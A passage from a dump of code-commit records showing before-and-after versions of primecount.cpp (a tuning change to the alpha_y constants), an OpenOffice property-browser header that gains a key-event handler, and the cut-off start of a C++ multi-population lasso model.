oss.str();\n}\n\nint64_t pi_legendre(int64_t x)\n{\n return pi_legendre(x, get_num_threads());\n}\n\nint64_t pi_lehmer(int64_t x)\n{\n return pi_lehmer(x, get_num_threads());\n}\n\nint64_t pi_lmo(int64_t x)\n{\n return pi_lmo(x, get_num_threads());\n}\n\nint64_t pi_lmo(int64_t x, int threads)\n{\n return pi_lmo_parallel(x, threads);\n}\n\nint64_t pi_meissel(int64_t x)\n{\n return pi_meissel(x, get_num_threads());\n}\n\nint64_t pi_deleglise_rivat(int64_t x)\n{\n return pi_deleglise_rivat(x, get_num_threads());\n}\n\nint64_t pi_deleglise_rivat(int64_t x, int threads)\n{\n return pi_deleglise_rivat_parallel1(x, threads);\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t pi_deleglise_rivat(int128_t x)\n{\n return pi_deleglise_rivat(x, get_num_threads());\n}\n\nint128_t pi_deleglise_rivat(int128_t x, int threads)\n{\n \/\/ use 64-bit if possible\n if (x <= numeric_limits<int64_t>::max())\n return pi_deleglise_rivat_parallel1((int64_t) x, threads);\n else\n return pi_deleglise_rivat_parallel2(x, threads);\n}\n\n#endif\n\nint64_t nth_prime(int64_t n)\n{\n return nth_prime(n, get_num_threads());\n}\n\nint64_t phi(int64_t x, int64_t a)\n{\n return phi(x, a, get_num_threads());\n}\n\n\/\/\/ Returns the largest integer supported by pi(x). The\n\/\/\/ return type is a string as get_max_x() can be a 128-bit\n\/\/\/ integer which is not supported by all compilers.\n\/\/\/\nstring get_max_x(double alpha)\n{\n ostringstream oss;\n\n#ifdef HAVE_INT128_T\n \/\/ primecount is limited by:\n \/\/ z <= 2^62, with z = x^(2\/3) \/ alpha\n \/\/ x^(2\/3) \/ alpha <= 2^62\n \/\/ x <= (2^62 * alpha)^(3\/2)\n \/\/\n double max_x = pow(pow(2.0, 62.0) * alpha, 3.0 \/ 2.0);\n oss << (int128_t) max_x; \n#else\n unused_param(alpha); \n oss << numeric_limits<int64_t>::max();\n#endif\n\n return oss.str();\n}\n\n\/\/\/ Get the time in seconds\ndouble get_time()\n{\n auto now = chrono::steady_clock::now();\n auto time = now.time_since_epoch();\n auto micro = chrono::duration_cast<chrono::microseconds>(time);\n return (double) micro.count() \/ 1e6;\n}\n\nint ideal_num_threads(int threads, int64_t sieve_limit, int64_t thread_threshold)\n{\n thread_threshold = max((int64_t) 1, thread_threshold);\n threads = (int) min((int64_t) threads, sieve_limit \/ thread_threshold);\n threads = max(1, threads);\n return threads;\n}\n\nvoid set_alpha(double alpha)\n{\n alpha_ = alpha;\n}\n\nvoid set_alpha_y(double alpha_y)\n{\n alpha_y_ = alpha_y;\n}\n\nvoid set_alpha_z(double alpha_z)\n{\n alpha_z_ = alpha_z;\n}\n\n\/\/\/ Tuning factor used in the Lagarias-Miller-Odlyzko\n\/\/\/ and Deleglise-Rivat algorithms.\n\/\/\/\ndouble get_alpha(maxint_t x, int64_t y)\n{\n \/\/ y = x13 * alpha, thus alpha = y \/ x13\n double x13 = (double) iroot<3>(x);\n return (double) y \/ x13;\n}\n\n\/\/\/ Tuning factor used in Xavier Gourdon's algorithm.\ndouble get_alpha_y(maxint_t x, int64_t y)\n{\n \/\/ y = x13 * alpha_y, thus alpha = y \/ x13\n double x13 = (double) iroot<3>(x);\n return (double) y \/ x13;\n}\n\n\/\/\/ Tuning factor used in Xavier Gourdon's algorithm.\ndouble get_alpha_z(int64_t y, int64_t z)\n{\n \/\/ z = y * alpha_z, thus alpha_z = z \/ y\n return (double) z \/ y;\n}\n\n\/\/\/ Get the Lagarias-Miller-Odlyzko alpha tuning factor.\n\/\/\/ alpha = a log(x)^2 + b log(x) + c\n\/\/\/ a, b and c have been determined empirically.\n\/\/\/ @see doc\/alpha-factor-tuning.pdf\n\/\/\/\ndouble get_alpha_lmo(maxint_t x)\n{\n double alpha = alpha_;\n\n \/\/ use default alpha if no command-line alpha provided\n if (alpha < 1)\n {\n double a = 0.00156512;\n double b = -0.0261411;\n double c = 0.990948;\n double logx = log((double) x);\n\n alpha = a * pow(logx, 2) + b * logx + c;\n }\n\n return in_between(1, alpha, iroot<6>(x));\n}\n\n\/\/\/ Get the Deleglise-Rivat alpha tuning factor.\n\/\/\/ alpha = a log(x)^3 + b log(x)^2 + c log(x) + d\n\/\/\/ a, b, c and d have been determined empirically.\n\/\/\/ @see doc\/alpha-tuning-factor.pdf\n\/\/\/\ndouble get_alpha_deleglise_rivat(maxint_t x)\n{\n double alpha = alpha_;\n double x2 = (double) x;\n\n \/\/ use default alpha if no command-line alpha provided\n if (alpha < 1)\n {\n double a = 0.00033826;\n double b = 0.0018113;\n double c = -0.110407;\n double d = 1.3724;\n double logx = log(x2);\n\n alpha = a * pow(logx, 3) + b * pow(logx, 2) + c * logx + d;\n }\n\n return in_between(1, alpha, iroot<6>(x));\n}\n\n\/\/\/ y = x^(1\/3) * alpha_y, with alpha_y >= 1.\n\/\/\/ alpha_y is a tuning factor which should be determined\n\/\/\/ experimentally by running benchmarks.\n\/\/\/\n\/\/\/ Note that in Xavier Gourdon's paper alpha_y is named c\n\/\/\/ but we name it alpha_y since y = x^(1\/3) * alpha_y\n\/\/\/ and the tuning factor in Tomás Oliveira e Silva's paper\n\/\/\/ is also named alpha.\n\/\/\/\ndouble get_alpha_y_gourdon(maxint_t x)\n{\n double alpha_y = alpha_y_;\n double x2 = (double) x;\n\n \/\/ use default alpha if no command-line alpha provided\n if (alpha_y < 1)\n {\n double a = 0.000451957;\n double b = -0.0128774;\n double c = 0.0999006;\n double d = 0.860792;\n double logx = log(x2);\n\n alpha_y = a * pow(logx, 3) + b * pow(logx, 2) + c * logx + d;\n }\n\n return in_between(1, alpha_y, iroot<6>(x));\n}\n\n\/\/\/ z = y * alpha_z, with alpha_z >= 1.\n\/\/\/ In Xavier Gourdon's paper the alpha_z tuning factor\n\/\/\/ is named d. alpha_z should be determined experimentally\n\/\/\/ by running benchmarks.\n\/\/\/\ndouble get_alpha_z_gourdon(maxint_t x)\n{\n double alpha_y = get_alpha_y_gourdon(x);\n double alpha_z = alpha_z_;\n\n if (alpha_z < 1)\n {\n \/\/ Xavier Gourdon's fastpix11.exe binary uses d = 2.4 but\n \/\/ according to my benchmarks alpha_z should grow very slowly\n \/\/ and be much smaller than alpha_y.\n double log_alpha_y = log(max(1.0, alpha_y));\n double loglog_alpha_y = log(max(1.0, log_alpha_y));\n alpha_z = 1 + loglog_alpha_y;\n }\n\n double x16 = (double) iroot<6>(x);\n double max_alpha = min(alpha_y * alpha_z, x16);\n return in_between(1, alpha_z, max_alpha);\n}\n\n\/\/\/ x_star = max(x^(1\/4), x \/ y^2)\n\/\/\/\n\/\/\/ After my implementation of Xavier Gourdon's algorithm worked for\n\/\/\/ the first time there were still many miscalculations mainly for\n\/\/\/ small numbers < 10^6. By debugging I found that most errors were\n\/\/\/ related to the Sigma formulas (Σ0 - Σ6) and the x_star variable\n\/\/\/ was responsible for most errors. For some unknown reason the\n\/\/\/ bounds from Xavier's paper (max(x^(1\/4), x \/ y^2)) don't seem to\n\/\/\/ be enough. By trial and error I figured out a few more bounds that\n\/\/\/ fix all miscalculations in my implementation.\n\/\/\/\nint64_t get_x_star_gourdon(maxint_t x, int64_t y)\n{\n \/\/ For some unknown reason it is necessary\n \/\/ to round up (x \/ y^2). Without rounding up\n \/\/ there are many miscalculations below 2000\n \/\/ in my implementation.\n y = max(y, (int64_t) 1);\n maxint_t yy = (maxint_t) y * y;\n maxint_t x_div_yy = ceil_div(x, yy);\n\n int64_t x_star = (int64_t) max(iroot<4>(x), x_div_yy);\n int64_t sqrt_xy = (int64_t) isqrt(x \/ y);\n\n \/\/ x_star <= y\n \/\/ x_star <= (x \/ y)^(1\/2)\n \/\/ The bounds above are missing in Xavier Gourdon's\n \/\/ paper. Without these bounds many of the 7 Sigma\n \/\/ formulas (Σ0 - Σ6) return incorrect results for\n \/\/ numbers below 10^6.\n x_star = min(x_star, y);\n x_star = min(x_star, sqrt_xy);\n x_star = max(x_star, (int64_t) 1);\n\n return x_star;\n}\n\nvoid set_num_threads(int threads)\n{\n#ifdef _OPENMP\n threads_ = in_between(1, threads, omp_get_max_threads());\n#endif\n primesieve::set_num_threads(threads);\n}\n\nint get_num_threads()\n{\n#ifdef _OPENMP\n if (threads_)\n return threads_;\n else\n return max(1, omp_get_max_threads());\n#else\n return 1;\n#endif\n}\n\nvoid set_status_precision(int precision)\n{\n status_precision_ = in_between(0, precision, 5);\n}\n\nint get_status_precision(maxint_t x)\n{\n \/\/ use default precision when no command-line precision provided\n if (status_precision_ < 0)\n {\n if ((double) x >= 1e23)\n return 2;\n if ((double) x >= 1e21)\n return 1;\n }\n\n return max(status_precision_, 0);\n}\n\nmaxint_t to_maxint(const string& expr)\n{\n maxint_t n = calculator::eval<maxint_t>(expr);\n return n;\n}\n\nstring primecount_version()\n{\n return PRIMECOUNT_VERSION;\n}\n\n} \/\/ namespace\n<commit_msg>Tune alpha_y factor<commit_after>\/\/\/\n\/\/\/ @file primecount.cpp\n\/\/\/ @brief Function definitions of primecount.hpp\n\/\/\/\n\/\/\/ Copyright (C) 2019 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primecount.hpp>\n#include <primecount-internal.hpp>\n#include <primesieve.hpp>\n#include <calculator.hpp>\n#include <int128_t.hpp>\n#include <imath.hpp>\n\n#include <algorithm>\n#include <chrono>\n#include <cmath>\n#include <limits>\n#include <sstream>\n#include <string>\n#include <stdint.h>\n\n#ifdef _OPENMP\n #include <omp.h>\n#endif\n\n#ifdef HAVE_MPI\n\n#include <mpi.h>\n\nnamespace primecount {\n\nint mpi_num_procs()\n{\n int procs;\n MPI_Comm_size(MPI_COMM_WORLD, &procs);\n return procs;\n}\n\nint mpi_proc_id()\n{\n int proc_id;\n MPI_Comm_rank(MPI_COMM_WORLD, &proc_id);\n return proc_id;\n}\n\nint mpi_master_proc_id()\n{\n return 0;\n}\n\nbool is_mpi_master_proc()\n{\n return mpi_proc_id() == mpi_master_proc_id();\n}\n\n} \/\/ namespace\n\n#endif\n\nusing namespace std;\n\nnamespace {\n\n#ifdef _OPENMP\n int threads_ = 0;\n#endif\n\n\/\/ Below 10^7 LMO is faster than Deleglise-Rivat\nconst int lmo_threshold_ = 10000000;\n\nint status_precision_ = -1;\n\n\/\/ Tuning factor used in the Lagarias-Miller-Odlyzko\n\/\/ and Deleglise-Rivat algorithms.\ndouble alpha_ = -1;\n\n\/\/ Tuning factor used in Xavier Gourdon's algorithm\ndouble alpha_y_ = -1;\n\n\/\/ Tuning factor used in Xavier Gourdon's algorithm\ndouble alpha_z_ = -1;\n\n}\n\nnamespace primecount {\n\nint64_t pi(int64_t x)\n{\n return pi(x, get_num_threads());\n}\n\nint64_t pi(int64_t x, int threads)\n{\n if (x <= lmo_threshold_)\n return pi_lmo5(x);\n else\n return pi_deleglise_rivat(x, threads);\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t pi(int128_t x)\n{\n return pi(x, get_num_threads());\n}\n\nint128_t pi(int128_t x, int threads)\n{\n \/\/ use 64-bit if possible\n if (x <= numeric_limits<int64_t>::max())\n return pi((int64_t) x, threads);\n else\n return pi_deleglise_rivat(x, threads);\n}\n\n#endif\n\nstring pi(const string& x)\n{\n return pi(x, get_num_threads());\n}\n\nstring pi(const string& x, int threads)\n{\n maxint_t pi_x = pi(to_maxint(x), threads);\n ostringstream oss;\n oss << pi_x;\n return oss.str();\n}\n\nint64_t pi_legendre(int64_t x)\n{\n return pi_legendre(x, get_num_threads());\n}\n\nint64_t pi_lehmer(int64_t x)\n{\n return pi_lehmer(x, get_num_threads());\n}\n\nint64_t pi_lmo(int64_t x)\n{\n return pi_lmo(x, get_num_threads());\n}\n\nint64_t pi_lmo(int64_t x, int threads)\n{\n return pi_lmo_parallel(x, threads);\n}\n\nint64_t pi_meissel(int64_t x)\n{\n return pi_meissel(x, get_num_threads());\n}\n\nint64_t pi_deleglise_rivat(int64_t x)\n{\n return pi_deleglise_rivat(x, get_num_threads());\n}\n\nint64_t pi_deleglise_rivat(int64_t x, int threads)\n{\n return pi_deleglise_rivat_parallel1(x, threads);\n}\n\n#ifdef HAVE_INT128_T\n\nint128_t pi_deleglise_rivat(int128_t x)\n{\n return pi_deleglise_rivat(x, get_num_threads());\n}\n\nint128_t pi_deleglise_rivat(int128_t x, int threads)\n{\n \/\/ use 64-bit if possible\n if (x <= numeric_limits<int64_t>::max())\n return pi_deleglise_rivat_parallel1((int64_t) x, threads);\n else\n return pi_deleglise_rivat_parallel2(x, threads);\n}\n\n#endif\n\nint64_t nth_prime(int64_t n)\n{\n return nth_prime(n, get_num_threads());\n}\n\nint64_t phi(int64_t x, int64_t a)\n{\n return phi(x, a, get_num_threads());\n}\n\n\/\/\/ Returns the largest integer supported by pi(x). The\n\/\/\/ return type is a string as get_max_x() can be a 128-bit\n\/\/\/ integer which is not supported by all compilers.\n\/\/\/\nstring get_max_x(double alpha)\n{\n ostringstream oss;\n\n#ifdef HAVE_INT128_T\n \/\/ primecount is limited by:\n \/\/ z <= 2^62, with z = x^(2\/3) \/ alpha\n \/\/ x^(2\/3) \/ alpha <= 2^62\n \/\/ x <= (2^62 * alpha)^(3\/2)\n \/\/\n double max_x = pow(pow(2.0, 62.0) * alpha, 3.0 \/ 2.0);\n oss << (int128_t) max_x; \n#else\n unused_param(alpha); \n oss << numeric_limits<int64_t>::max();\n#endif\n\n return oss.str();\n}\n\n\/\/\/ Get the time in seconds\ndouble get_time()\n{\n auto now = chrono::steady_clock::now();\n auto time = now.time_since_epoch();\n auto micro = chrono::duration_cast<chrono::microseconds>(time);\n return (double) micro.count() \/ 1e6;\n}\n\nint ideal_num_threads(int threads, int64_t sieve_limit, int64_t thread_threshold)\n{\n thread_threshold = max((int64_t) 1, thread_threshold);\n threads = (int) min((int64_t) threads, sieve_limit \/ thread_threshold);\n threads = max(1, threads);\n return threads;\n}\n\nvoid set_alpha(double alpha)\n{\n alpha_ = alpha;\n}\n\nvoid set_alpha_y(double alpha_y)\n{\n alpha_y_ = alpha_y;\n}\n\nvoid set_alpha_z(double alpha_z)\n{\n alpha_z_ = alpha_z;\n}\n\n\/\/\/ Tuning factor used in the Lagarias-Miller-Odlyzko\n\/\/\/ and Deleglise-Rivat algorithms.\n\/\/\/\ndouble get_alpha(maxint_t x, int64_t y)\n{\n \/\/ y = x13 * alpha, thus alpha = y \/ x13\n double x13 = (double) iroot<3>(x);\n return (double) y \/ x13;\n}\n\n\/\/\/ Tuning factor used in Xavier Gourdon's algorithm.\ndouble get_alpha_y(maxint_t x, int64_t y)\n{\n \/\/ y = x13 * alpha_y, thus alpha = y \/ x13\n double x13 = (double) iroot<3>(x);\n return (double) y \/ x13;\n}\n\n\/\/\/ Tuning factor used in Xavier Gourdon's algorithm.\ndouble get_alpha_z(int64_t y, int64_t z)\n{\n \/\/ z = y * alpha_z, thus alpha_z = z \/ y\n return (double) z \/ y;\n}\n\n\/\/\/ Get the Lagarias-Miller-Odlyzko alpha tuning factor.\n\/\/\/ alpha = a log(x)^2 + b log(x) + c\n\/\/\/ a, b and c have been determined empirically.\n\/\/\/ @see doc\/alpha-factor-tuning.pdf\n\/\/\/\ndouble get_alpha_lmo(maxint_t x)\n{\n double alpha = alpha_;\n\n \/\/ use default alpha if no command-line alpha provided\n if (alpha < 1)\n {\n double a = 0.00156512;\n double b = -0.0261411;\n double c = 0.990948;\n double logx = log((double) x);\n\n alpha = a * pow(logx, 2) + b * logx + c;\n }\n\n return in_between(1, alpha, iroot<6>(x));\n}\n\n\/\/\/ Get the Deleglise-Rivat alpha tuning factor.\n\/\/\/ alpha = a log(x)^3 + b log(x)^2 + c log(x) + d\n\/\/\/ a, b, c and d have been determined empirically.\n\/\/\/ @see doc\/alpha-tuning-factor.pdf\n\/\/\/\ndouble get_alpha_deleglise_rivat(maxint_t x)\n{\n double alpha = alpha_;\n double x2 = (double) x;\n\n \/\/ use default alpha if no command-line alpha provided\n if (alpha < 1)\n {\n double a = 0.00033826;\n double b = 0.0018113;\n double c = -0.110407;\n double d = 1.3724;\n double logx = log(x2);\n\n alpha = a * pow(logx, 3) + b * pow(logx, 2) + c * logx + d;\n }\n\n return in_between(1, alpha, iroot<6>(x));\n}\n\n\/\/\/ y = x^(1\/3) * alpha_y, with alpha_y >= 1.\n\/\/\/ alpha_y is a tuning factor which should be determined\n\/\/\/ experimentally by running benchmarks.\n\/\/\/\n\/\/\/ Note that in Xavier Gourdon's paper alpha_y is named c\n\/\/\/ but we name it alpha_y since y = x^(1\/3) * alpha_y\n\/\/\/ and the tuning factor in Tomás Oliveira e Silva's paper\n\/\/\/ is also named alpha.\n\/\/\/\ndouble get_alpha_y_gourdon(maxint_t x)\n{\n double alpha_y = alpha_y_;\n double x2 = (double) x;\n\n \/\/ use default alpha if no command-line alpha provided\n if (alpha_y < 1)\n {\n double a = 0.000446563;\n double b = -0.0125132;\n double c = 0.094232;\n double d = 0.875222;\n double logx = log(x2);\n\n alpha_y = a * pow(logx, 3) + b * pow(logx, 2) + c * logx + d;\n }\n\n return in_between(1, alpha_y, iroot<6>(x));\n}\n\n\/\/\/ z = y * alpha_z, with alpha_z >= 1.\n\/\/\/ In Xavier Gourdon's paper the alpha_z tuning factor\n\/\/\/ is named d. alpha_z should be determined experimentally\n\/\/\/ by running benchmarks.\n\/\/\/\ndouble get_alpha_z_gourdon(maxint_t x)\n{\n double alpha_y = get_alpha_y_gourdon(x);\n double alpha_z = alpha_z_;\n\n if (alpha_z < 1)\n {\n \/\/ Xavier Gourdon's fastpix11.exe binary uses d = 2.4 but\n \/\/ according to my benchmarks alpha_z should grow very slowly\n \/\/ and be much smaller than alpha_y.\n double log_alpha_y = log(max(1.0, alpha_y));\n double loglog_alpha_y = log(max(1.0, log_alpha_y));\n alpha_z = 1 + loglog_alpha_y;\n }\n\n double x16 = (double) iroot<6>(x);\n double max_alpha = min(alpha_y * alpha_z, x16);\n return in_between(1, alpha_z, max_alpha);\n}\n\n\/\/\/ x_star = max(x^(1\/4), x \/ y^2)\n\/\/\/\n\/\/\/ After my implementation of Xavier Gourdon's algorithm worked for\n\/\/\/ the first time there were still many miscalculations mainly for\n\/\/\/ small numbers < 10^6. By debugging I found that most errors were\n\/\/\/ related to the Sigma formulas (Σ0 - Σ6) and the x_star variable\n\/\/\/ was responsible for most errors. For some unknown reason the\n\/\/\/ bounds from Xavier's paper (max(x^(1\/4), x \/ y^2)) don't seem to\n\/\/\/ be enough. By trial and error I figured out a few more bounds that\n\/\/\/ fix all miscalculations in my implementation.\n\/\/\/\nint64_t get_x_star_gourdon(maxint_t x, int64_t y)\n{\n \/\/ For some unknown reason it is necessary\n \/\/ to round up (x \/ y^2). Without rounding up\n \/\/ there are many miscalculations below 2000\n \/\/ in my implementation.\n y = max(y, (int64_t) 1);\n maxint_t yy = (maxint_t) y * y;\n maxint_t x_div_yy = ceil_div(x, yy);\n\n int64_t x_star = (int64_t) max(iroot<4>(x), x_div_yy);\n int64_t sqrt_xy = (int64_t) isqrt(x \/ y);\n\n \/\/ x_star <= y\n \/\/ x_star <= (x \/ y)^(1\/2)\n \/\/ The bounds above are missing in Xavier Gourdon's\n \/\/ paper. Without these bounds many of the 7 Sigma\n \/\/ formulas (Σ0 - Σ6) return incorrect results for\n \/\/ numbers below 10^6.\n x_star = min(x_star, y);\n x_star = min(x_star, sqrt_xy);\n x_star = max(x_star, (int64_t) 1);\n\n return x_star;\n}\n\nvoid set_num_threads(int threads)\n{\n#ifdef _OPENMP\n threads_ = in_between(1, threads, omp_get_max_threads());\n#endif\n primesieve::set_num_threads(threads);\n}\n\nint get_num_threads()\n{\n#ifdef _OPENMP\n if (threads_)\n return threads_;\n else\n return max(1, omp_get_max_threads());\n#else\n return 1;\n#endif\n}\n\nvoid set_status_precision(int precision)\n{\n status_precision_ = in_between(0, precision, 5);\n}\n\nint get_status_precision(maxint_t x)\n{\n \/\/ use default precision when no command-line precision provided\n if (status_precision_ < 0)\n {\n if ((double) x >= 1e23)\n return 2;\n if ((double) x >= 1e21)\n return 1;\n }\n\n return max(status_precision_, 0);\n}\n\nmaxint_t to_maxint(const string& expr)\n{\n maxint_t n = calculator::eval<maxint_t>(expr);\n return n;\n}\n\nstring primecount_version()\n{\n return PRIMECOUNT_VERSION;\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: browserview.hxx,v $\n *\n * $Revision: 1.10 $\n *\n * last change: $Author: kz $ $Date: 2006-12-13 11:56:48 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _EXTENSIONS_PROPCTRLR_BROWSERVIEW_HXX_\n#define _EXTENSIONS_PROPCTRLR_BROWSERVIEW_HXX_\n\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#ifndef _SV_WINDOW_HXX\n#include <vcl\/window.hxx>\n#endif\n#ifndef _TOOLS_RESID_HXX\n#include <tools\/resid.hxx>\n#endif\n\/\/ #95343# --------------------\n#ifndef _COM_SUN_STAR_AWT_SIZE_HPP_\n#include <com\/sun\/star\/awt\/Size.hpp>\n#endif\n\n\/\/............................................................................\nnamespace pcr\n{\n\/\/............................................................................\n\n class OPropertyEditor;\n\n \/\/========================================================================\n \/\/=\n \/\/========================================================================\n class OPropertyBrowserView : public Window\n {\n ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > m_xORB;\n\n OPropertyEditor* m_pPropBox;\n sal_uInt16 m_nActivePage;\n Link m_aPageActivationHandler;\n\n protected:\n virtual void Resize();\n virtual void GetFocus();\n\n public:\n OPropertyBrowserView(const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _xORB,\n Window* pParent, WinBits nBits = 0);\n\n virtual ~OPropertyBrowserView();\n\n OPropertyEditor& getPropertyBox() { return *m_pPropBox; }\n\n \/\/ page handling\n sal_uInt16 getActivaPage() const { return m_nActivePage; }\n void activatePage(sal_uInt16 _nPage);\n\n void setPageActivationHandler(const Link& _rHdl) { m_aPageActivationHandler = _rHdl; }\n Link getPageActivationHandler() const { return m_aPageActivationHandler; }\n\n \/\/ #95343# ------------------\n ::com::sun::star::awt::Size getMinimumSize();\n\n protected:\n DECL_LINK(OnPageActivation, void*);\n };\n\n\n\/\/............................................................................\n} \/\/ namespace pcr\n\/\/............................................................................\n\n#endif \/\/ _EXTENSIONS_PROPCTRLR_BROWSERVIEW_HXX_\n\n<commit_msg>INTEGRATION: CWS dba22b (1.9.176); FILE MERGED 2006\/12\/18 11:07:27 fs 1.9.176.2: RESYNC: (1.9-1.10); FILE MERGED 2006\/12\/06 09:46:29 fs 1.9.176.1: #i63285# don't let DEL\/BACKSPACE keys leave the property browser<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: browserview.hxx,v $\n *\n * $Revision: 1.11 $\n *\n * last change: $Author: vg $ $Date: 2007-01-15 14:40:35 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _EXTENSIONS_PROPCTRLR_BROWSERVIEW_HXX_\n#define _EXTENSIONS_PROPCTRLR_BROWSERVIEW_HXX_\n\n#ifndef _COM_SUN_STAR_BEANS_XPROPERTYSET_HPP_\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#endif\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#ifndef _SV_WINDOW_HXX\n#include <vcl\/window.hxx>\n#endif\n#ifndef _TOOLS_RESID_HXX\n#include <tools\/resid.hxx>\n#endif\n\/\/ #95343# --------------------\n#ifndef _COM_SUN_STAR_AWT_SIZE_HPP_\n#include <com\/sun\/star\/awt\/Size.hpp>\n#endif\n\n\/\/............................................................................\nnamespace pcr\n{\n\/\/............................................................................\n\n class OPropertyEditor;\n\n \/\/========================================================================\n \/\/=\n \/\/========================================================================\n class OPropertyBrowserView : public Window\n {\n ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory > m_xORB;\n\n OPropertyEditor* m_pPropBox;\n sal_uInt16 m_nActivePage;\n Link m_aPageActivationHandler;\n\n protected:\n virtual void Resize();\n virtual void GetFocus();\n virtual long Notify( NotifyEvent& _rNEvt );\n\n public:\n OPropertyBrowserView(const ::com::sun::star::uno::Reference< ::com::sun::star::lang::XMultiServiceFactory >& _xORB,\n Window* pParent, WinBits nBits = 0);\n\n virtual ~OPropertyBrowserView();\n\n OPropertyEditor& getPropertyBox() { return *m_pPropBox; }\n\n \/\/ page handling\n sal_uInt16 getActivaPage() const { return m_nActivePage; }\n void activatePage(sal_uInt16 _nPage);\n\n void setPageActivationHandler(const Link& _rHdl) { m_aPageActivationHandler = _rHdl; }\n Link getPageActivationHandler() const { return m_aPageActivationHandler; }\n\n \/\/ #95343# ------------------\n ::com::sun::star::awt::Size getMinimumSize();\n\n protected:\n DECL_LINK(OnPageActivation, void*);\n };\n\n\n\/\/............................................................................\n} \/\/ namespace pcr\n\/\/............................................................................\n\n#endif \/\/ _EXTENSIONS_PROPCTRLR_BROWSERVIEW_HXX_\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Created by haohanwang on 2\/2\/16.\n\/\/\n\n#include <limits>\n#include <stdexcept>\n\n#ifdef BAZEL\n#include \"Models\/MultiPopLasso.hpp\"\n#else\n#include \"MultiPopLasso.hpp\"\n#endif\n\nusing namespace std;\nusing namespace Eigen;\n\nvoid MultiPopLasso::setXY(MatrixXd m, MatrixXd n) {\n X = m;\n y = n;\n}\n\nvoid MultiPopLasso::initBeta() {\n cout << \"Multipop lasso does not suppor init beta explicitly here, beta will be initialized when formating data\" << endl;\n}\n\nvoid MultiPopLasso::setLambda(double l) { lambda = l; }\n\nvoid MultiPopLasso::setPopulation(VectorXd pop) {\n \/\/ population indicator must start from 0\n population = pop;\n popNum = (long)population.maxCoeff() + 1;\n}\n\ndouble MultiPopLasso::cost() {\n initTraining();\n return 0.5 * (y - X * beta).squaredNorm() + lambda * groupPenalization();\n}\n\ndouble MultiPopLasso::groupPenalization() {\n double r = 0;\n MatrixXd tmp = getBetaInside();\n for (long i = 0; i < tmp.rows(); i++) {\n r += tmp.row(i).squaredNorm();\n }\n return r;\n}\n\nvoid MultiPopLasso::assertReadyToRun() {\n \/\/ X and Y must be compatible\n if (!((X.rows() > 0) && (X.rows() == y.rows())\n && (X.cols() > 0) && (y.cols() > 0))) {\n throw runtime_error(\"X and Y matrices of size (\" + to_string(X.rows()) + \",\" + to_string(X.cols()) + \"), and (\" +\n to_string(y.rows()) + \",\" + to_string(y.cols()) + \") are not compatible.\");\n }\n \/\/ Population Labels must have n rows (one for each sample)\n if (population.rows() != X.rows()) {\n throw runtime_error(\"Population labels of length \" + to_string(population.rows()) + \n \" are the wrong size for X with \" + to_string(X.rows()) + \" samples.\");\n }\n cerr << \"assertReadyToRun passed\" << endl;\n}\n\nvoid MultiPopLasso::setAttributeMatrix(const string& str, MatrixXd* Z) {\n if (str == \"population\") {\n cerr << \"setting population\" << endl;\n \/\/ todo: stop copying data\n setPopulation(VectorXd(Map<VectorXd>(Z->data(), Z->rows())));\n } else if (str == \"X\") {\n setX(*Z);\n } else if (str == \"Y\") {\n setY(*Z);\n } else {\n throw runtime_error(\"MultiPopLasso models have no attribute with name\" + str);\n }\n}\n\nvoid MultiPopLasso::initTraining() {\n if (!initTrainingFlag){\n initTrainingFlag = true;\n reArrangeData();\n formatData();\n initC();\n }\n}\n\nvoid MultiPopLasso::reArrangeData() {\n \/\/ arrange data according to its population\n long r = X.rows();\n long c = X.cols();\n MatrixXd tmpX = MatrixXd::Zero(r, c);\n MatrixXd tmpY = MatrixXd::Zero(r, 1);\n VectorXd tmpPop = VectorXd::Zero(r);\n vector<long> idx;\n long count = 0;\n for (long i=0; i<popNum; i++){\n idx = getPopulationIndex(i);\n for (unsigned long j=0; j<idx.size(); j++){\n 